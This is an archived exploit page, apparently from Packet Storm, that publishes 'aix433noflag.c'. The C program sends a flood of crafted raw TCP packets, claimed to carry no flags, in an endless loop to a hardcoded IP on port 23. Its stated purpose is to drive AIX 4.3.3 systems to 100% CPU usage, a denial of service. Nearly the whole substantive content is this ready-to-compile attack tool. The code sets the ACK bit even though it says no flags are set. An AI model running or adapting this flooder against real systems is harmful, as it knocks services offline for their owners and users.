evolve or die

aix433noflag.c

aix433noflag.c
Posted Jan 5, 2003
Authored by George Dissios | Site frapes.org

Aix433noflag.c exploits a weakness in a function in the AIX kernel which handles the in/outgoing network connection. Setting no flags in the TCP header, causes a 100% CPU usage (DoS). Tested On IBM RS6000/SMP-M80/4) on AIX 4.3.3.

tags | denial of service, kernel, tcp
systems | aix
MD5 | 92444fe853b1ba356167ea90e3a9bf2d

aix433noflag.c

Change Mirror Download
/* This exploits a weakness in a function in the AIX kernel
which handles the in/outgoing network connection.
Setting no flags in the TCP header, causes a 100% CPU
usage (DoS).

Tested On IBM RS6000/SMP-M80/4) on AIX 4.3.3

2002 by gr33k - gr33k@frapes.org visit:[www.frapes.org]

thanks: to the l337 ancient "Hephaestus" ;)
greets: ZN+ixokratoria, terlega...*/

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>

unsigned short in_cksum(unsigned short *ptr, int nbytes)
{
register long sum;
u_short oddbyte;
register u_short answer;

sum=0;
while(nbytes > 1)
{
sum+= *ptr++;
nbytes-= 2;
}
if(nbytes == 1)
{
oddbyte = 0;
*((u_char *) &oddbyte) = *(u_char *)ptr;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}

int main()
{
int tcp_socket,j;
static struct in_addr i;
struct hostent *h;
struct sockaddr_in sin;
struct send_tcp
{
struct iphdr ip;
struct tcphdr tcp;
}send_tcp;

send_tcp.ip.ihl=5;
send_tcp.ip.version=4;
send_tcp.ip.tos=0;
send_tcp.ip.tot_len=htons(40);
send_tcp.ip.id=getpid();
send_tcp.ip.frag_off=0;
send_tcp.ip.ttl=255;
send_tcp.ip.protocol=IPPROTO_TCP;
send_tcp.ip.check=0;
send_tcp.ip.saddr=inet_addr("192.168.0.4");
send_tcp.ip.daddr=inet_addr("139.6.57.1");

send_tcp.tcp.source=getpid();
send_tcp.tcp.dest=htons(23);
send_tcp.tcp.seq=getpid();
send_tcp.tcp.ack_seq=0;
send_tcp.tcp.res1=0;
send_tcp.tcp.doff=5;
send_tcp.tcp.syn=0;
send_tcp.tcp.fin=0;
send_tcp.tcp.rst=0;
send_tcp.tcp.psh=0;
send_tcp.tcp.ack=1;
send_tcp.tcp.urg=0;
send_tcp.tcp.res2=0;
send_tcp.tcp.window=htons(512);
send_tcp.tcp.check=0;
send_tcp.tcp.urg_ptr=0;

sin.sin_family=AF_INET;
sin.sin_port=send_tcp.tcp.source;
sin.sin_addr.s_addr=send_tcp.ip.daddr;

tcp_socket= socket(AF_INET,SOCK_RAW,IPPROTO_RAW);

for(;;)
{
send_tcp.tcp.source++;
send_tcp.ip.id++;
send_tcp.tcp.seq++;
send_tcp.tcp.check = 0;
send_tcp.ip.check = 0;
send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
bcopy((char *)&send_tcp.tcp, (char *)&send_tcp.tcp, 20);
send_tcp.tcp.check = in_cksum((unsigned short *)&send_tcp, 32);

sendto(tcp_socket, &send_tcp, 40, 0, (struct sockaddr *)&sin, sizeof(sin));
}
return 0;
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close